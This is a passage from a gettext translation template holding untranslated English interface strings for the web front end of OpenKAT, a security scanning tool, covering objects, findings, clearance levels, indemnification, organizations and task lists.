\"OpenKAT Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_head.html\n#, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html 